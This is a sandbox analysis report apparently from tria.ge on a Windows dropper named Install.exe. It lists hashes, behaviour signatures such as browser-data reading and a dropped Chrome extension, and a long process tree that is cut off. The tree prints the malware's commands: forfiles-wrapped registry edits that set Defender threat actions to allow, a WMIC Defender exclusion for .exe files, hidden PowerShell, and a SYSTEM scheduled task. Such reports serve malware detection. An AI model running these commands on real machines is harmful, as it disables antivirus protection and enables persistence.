Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    196s
  • max time network
    298s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/08/2024, 22:41

General

  • Target

    646bd1d5081c7851c217526bd26a94e72846566980118c4a535bd2ec46350811.exe

  • Size

    7.3MB

  • MD5

    6fce1620f54451526aa1460d8479051f

  • SHA1

    1c2243f37ad624476138243c2a60887aebdb129c

  • SHA256

    646bd1d5081c7851c217526bd26a94e72846566980118c4a535bd2ec46350811

  • SHA512

    851af8aea8186d6619a45a4c7d48e07ab1d6459bac89d8d553a613f3e2e015a8c30f4b07cf4d48b9508c82cbfb4ab68a42ed81a9a0b9dd7617db707835173216

  • SSDEEP

    196608:91O7Ikz4XH8qouJmy3iJR7ScitqtB9tZ8S:3OUoZSiJR7fim9tWS

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Indirect Command Execution 1 TTPs 17 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 35 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\646bd1d5081c7851c217526bd26a94e72846566980118c4a535bd2ec46350811.exe
    "C:\Users\Admin\AppData\Local\Temp\646bd1d5081c7851c217526bd26a94e72846566980118c4a535bd2ec46350811.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3296
    • C:\Users\Admin\AppData\Local\Temp\7zS6496.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2136
      • C:\Users\Admin\AppData\Local\Temp\7zS6726.tmp\Install.exe
        .\Install.exe /vqdidRsh "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4336
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4616
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Indirect Command Execution
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4564
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1360
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:1572
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Indirect Command Execution
              • Suspicious use of WriteProcessMemory
              PID:4388
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4884
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:4560
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Indirect Command Execution
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4580
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4428
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:4380
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                5⤵
                • Indirect Command Execution
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:952
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4004
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    7⤵
                      PID:3212
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                  5⤵
                  • Indirect Command Execution
                  • Suspicious use of WriteProcessMemory
                  PID:5008
                  • C:\Windows\SysWOW64\cmd.exe
                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                    6⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:4328
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      7⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3964
                      • C:\Windows\SysWOW64\gpupdate.exe
                        "C:\Windows\system32\gpupdate.exe" /force
                        8⤵
                        • System Location Discovery: System Language Discovery
                        PID:2960
              • C:\Windows\SysWOW64\forfiles.exe
                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                4⤵
                • Indirect Command Execution
                • Suspicious use of WriteProcessMemory
                PID:3084
                • C:\Windows\SysWOW64\cmd.exe
                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                  5⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3520
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                    6⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5112
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      7⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:856
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /CREATE /TN "bbihiUuOAZYUglmJTV" /SC once /ST 22:42:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS6726.tmp\Install.exe\" ud /AFdidQi 525403 /S" /V1 /F
                4⤵
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:380
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 1208
                4⤵
                • Program crash
                PID:824
        • C:\Users\Admin\AppData\Local\Temp\7zS6726.tmp\Install.exe
          C:\Users\Admin\AppData\Local\Temp\7zS6726.tmp\Install.exe ud /AFdidQi 525403 /S
          1⤵
          • Executes dropped EXE
          • Drops desktop.ini file(s)
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          PID:4072
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
            2⤵
              PID:4332
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                3⤵
                • Indirect Command Execution
                PID:2072
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:2540
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:4532
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                3⤵
                • Indirect Command Execution
                PID:4288
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  4⤵
                    PID:2304
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                      5⤵
                        PID:4920
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                    3⤵
                    • Indirect Command Execution
                    PID:2976
                    • C:\Windows\SysWOW64\cmd.exe
                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:1480
                      • \??\c:\windows\SysWOW64\reg.exe
                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                        5⤵
                          PID:2288
                    • C:\Windows\SysWOW64\forfiles.exe
                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                      3⤵
                      • Indirect Command Execution
                      • System Location Discovery: System Language Discovery
                      PID:2892
                      • C:\Windows\SysWOW64\cmd.exe
                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                        4⤵
                          PID:4224
                          • \??\c:\windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:2264
                      • C:\Windows\SysWOW64\forfiles.exe
                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        3⤵
                        • Indirect Command Execution
                        PID:1540
                        • C:\Windows\SysWOW64\cmd.exe
                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                          4⤵
                            PID:3712
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                              5⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1884
                              • C:\Windows\SysWOW64\gpupdate.exe
                                "C:\Windows\system32\gpupdate.exe" /force
                                6⤵
                                  PID:4372
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • System Location Discovery: System Language Discovery
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1592
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:4408
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:2272
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:3820
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:3800
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                3⤵
                                  PID:1092
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                  3⤵
                                    PID:3876
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:364
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1576
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                      PID:508
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                        PID:2692
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                        3⤵
                                          PID:4536
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3588
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:2808
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3024
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4632
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:1512
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:3120
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:4660
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                3⤵
                                                  PID:4008
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:4588
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:5012
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2260
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:5112
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                    PID:2340
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:620
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4628
                                                    • C:\Windows\SysWOW64\reg.exe
